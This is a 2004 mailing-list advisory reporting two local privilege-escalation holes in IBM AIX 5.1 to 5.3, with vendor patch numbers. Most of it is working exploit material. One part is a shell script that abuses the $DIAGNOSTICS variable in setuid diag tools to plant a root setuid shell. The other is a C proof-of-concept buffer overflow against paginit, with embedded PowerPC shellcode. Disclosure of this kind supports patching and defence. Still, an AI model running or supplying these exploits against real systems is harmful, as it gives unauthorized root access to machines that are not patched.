Date: Mon, 20 Dec 2004 12:10:41 +0100
From: cees-bart <ceesb@cs.ru.nl.>
To: [email protected]Subject: AIX 5.1/5.2/5.3 local root exploits
hi,
i found some local security holes in IBM's AIX versions 5.1, 5.2 and 5.3
(unix for IBM RS/6000 powerpc).
1) the first is a bug in all setuid diag related tools that use an
environment variable as a prefix to an external binary executed as root.
2) the second is a classical stack overflow in a tool called paginit.
status: vendor contacted, patches are available:
1) for the diag bug, bugfix numbers are IY64389(5.1), IY64523(5.2), and
IY64277(5.3).
2) for the paginit bug, bugfix numbers are IY64358(5.1), IY64522(5.2),
and IY64312(5.3).
bug descriptions below.
regards,
cees-bart
phd student @ university of nijmegen
---
bug 1:
there are (at least) 4 broken suid binaries.
-r-sr-xr-x 1 root system 10014 Sep 16 2002 /usr/sbin/lsmcode
-r-sr-x--- 1 root system 2796 Jan 26 2003
/usr/sbin/diag_exec
-r-sr-xr-x 1 root system 450433 Apr 08 2004 /usr/sbin/invscout
-r-sr-xr-x 1 root system 511362 Apr 08 2004
/usr/sbin/invscoutd
all these binaries are exploited the same way: the path set in the
$DIAGNOSTICS environment is used by these binaries to execute
$DIAGNOSTICS/bin/Dctrl as root (duh).
for example; executing the following gives a root shell:
mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shh
bug 2:
the following setuid binary:
-r-sr-xr-x 1 root security 7354 Mar 12 2003 /usr/bin/paginit
does not do a bounds check on the first commandline argument, which is
supposed to be a username.
if you feed paginit the proper data and hit enter, root priviledges are
gained.
POC exploit code:
/* exploit for /usr/bin/paginit
tested on: AIX 5.2
if the exploit fails it's because the shellcode
ends up at a different address. use dbx to check,
and change RETADDR accordingly.
cees-bart <ceesb@cs.ru.nl.>
*/
#define RETADDR 0x2ff22c90
char shellcode[] =
"\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd"
"\x7c\xa8\x02\xa6"
"\x38\xe0\x11\x11"
"\x39\x20\x48\x11"
"\x7c\xc7\x48\x10"
"\x38\x46\xc9\x05"
"\x39\x25\x11\x11"
"\x38\x69\xef\x17"
"\x38\x87\xee\xef"
"\x7c\xc9\x03\xa6"
"\x4e\x80\x04\x20"
"\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00"
;
char envlabel[] = "X=";
void printint(char* buf, int x) {
buf[0] = x >> 24;
buf[1] = (x >> 16) & 0xff;
buf[2] = (x >> 8) & 0xff;
buf[3] = x & 0xff;
}
int main(int argc, char **argv) {
char *env[3];
char code[1000];
char buf[8000];
char *p, *i;
int offset1 = 0;
offset1 = 0; // atoi(argv[1]);
memset(code, 'C', sizeof(code));
memcpy(code, envlabel,sizeof(envlabel)-1);
// landingzone
for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4)
printint(i, 0x7ca52a79);
memcpy(code+sizeof(code)-sizeof(shellcode), shellcode, sizeof(shellcode)-1);
code[sizeof(code)-1] = 0;
env[0] = code;
env[1] = 0;
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf)-1] = 0;
p = buf;
p += 4114;
printint(p,RETADDR); // try to hit the landingzone
p += 72;
printint(p, RETADDR); // any readable address (apparently not overwritten)
execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);
}
